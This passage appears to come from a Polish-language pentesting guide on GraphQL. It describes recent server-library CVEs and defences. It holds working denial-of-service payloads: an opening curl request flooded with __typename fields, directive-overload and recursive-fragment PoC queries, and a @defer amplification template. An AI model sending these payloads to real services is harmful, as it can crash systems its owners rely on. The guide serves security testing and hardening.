\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Najnowsze podatności (2023-2025)

Ekosystem GraphQL rozwija się bardzo szybko; w ciągu ostatnich dwóch lat ujawniono kilka krytycznych problemów w najczęściej używanych bibliotekach serwerowych. Gdy znajdziesz endpoint GraphQL, warto zidentyfikować silnik (zob. graphw00f) i porównać uruchomioną wersję z poniższymi podatnościami.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Affected: async-graphql < 7.0.10 (Rust)
  • Root cause: no limit on duplicated directives (e.g. thousands of @include) which are expanded into an exponential number of execution nodes.
  • Impact: a single HTTP request can exhaust CPU/RAM and crash the service.
  • Fix/mitigation: upgrade ≥ 7.0.10 or call SchemaBuilder.limit_directives(); alternatively filter requests with a WAF rule such as "@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF omijanie limitów głębokości/złożoności

  • Affected: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Root cause: ExecutableNormalizedFields nie były uwzględniane przez instrumentację MaxQueryDepth / MaxQueryComplexity. Rekurencyjne fragmenty w związku z tym omijały wszystkie limity.
  • Impact: DoS bez uwierzytelnienia wobec stosów Java, które osadzają graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE chain

  • Dotyczy: WPGraphQL ≤ 1.14.5 (WordPress plugin).
  • Przyczyna: mutacja createMediaItem akceptowała attacker-controlled filePath URLs`, umożliwiając dostęp do sieci wewnętrznej i zapisywanie plików.
  • Wpływ: authenticated Editors/Authors mogli dotrzeć do endpointów metadanych lub zapisać pliki PHP w celu remote code execution.

Incremental delivery abuse: @defer / @stream

Since 2023 most major servers (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implemented the incremental delivery directives defined by the GraphQL-over-HTTP WG. Every deferred patch is sent as a separate chunk, so the total response size becomes N + 1 (envelope + patches). A query that contains thousands of tiny deferred fields therefore produces a large response while costing the attacker only one request – a classical amplification DoS and a way to bypass body-size WAF rules that only inspect the first chunk. WG members themselves flagged the risk.

Example payload generating 2 000 patches:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Środki zaradcze: wyłączyć @defer/@stream w produkcji lub wymusić max_patches, skumulowane max_bytes oraz czas wykonania. Biblioteki takie jak graphql-armor (patrz niżej) już wymuszają rozsądne wartości domyślne.


Middleware defensywne (2024+)

ProjektUwagi
graphql-armorMiddleware walidacyjny Node/TypeScript opublikowany przez Escape Tech. Implementuje plug-and-play limity dla głębokości zapytań, liczby aliasów/pól/dyrektyw, tokenów i kosztu; kompatybilny z Apollo Server, GraphQL Yoga/Envelop, Helix, itd.

Szybki start:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor będzie teraz blokować zbyt głębokie, złożone lub zawierające dużo dyrektyw zapytania, chroniąc przed wymienionymi powyżej CVE.


Tools

Vulnerability scanners

Scripts to exploit common vulnerabilities

Clients

Automatic Tests

https://graphql-dashboard.herokuapp.com/

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks